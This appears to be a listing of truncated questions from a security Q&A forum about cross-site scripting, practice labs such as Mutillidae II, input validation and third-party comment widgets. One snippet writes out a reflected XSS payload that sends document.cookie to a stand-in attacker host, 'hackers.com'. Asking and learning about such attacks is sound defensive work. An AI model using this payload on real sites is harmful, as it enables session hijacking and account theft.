I was playing with OWASP Mutillidae II and in one page I've found one vulnerability. In the address bar I've wrote something like : ...
I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern ...
I recently added Disqus to my site. Looking at the "scripts" tab on Firebug, I noticed a script called, http://scorecardresearch.com/beacon.js (here is a prettified version - the script is not ...
I have a web service that takes POST data (JSON) and returns part of the request object in the JSON response. This is open to XSS if the response is rendered as HTML by the browser since someone ...
Can commenting services like Disqus, IntenseDebate, etc. pose a security risk for corporations? Edit: What risks could arise when embedding such services into corporate websites?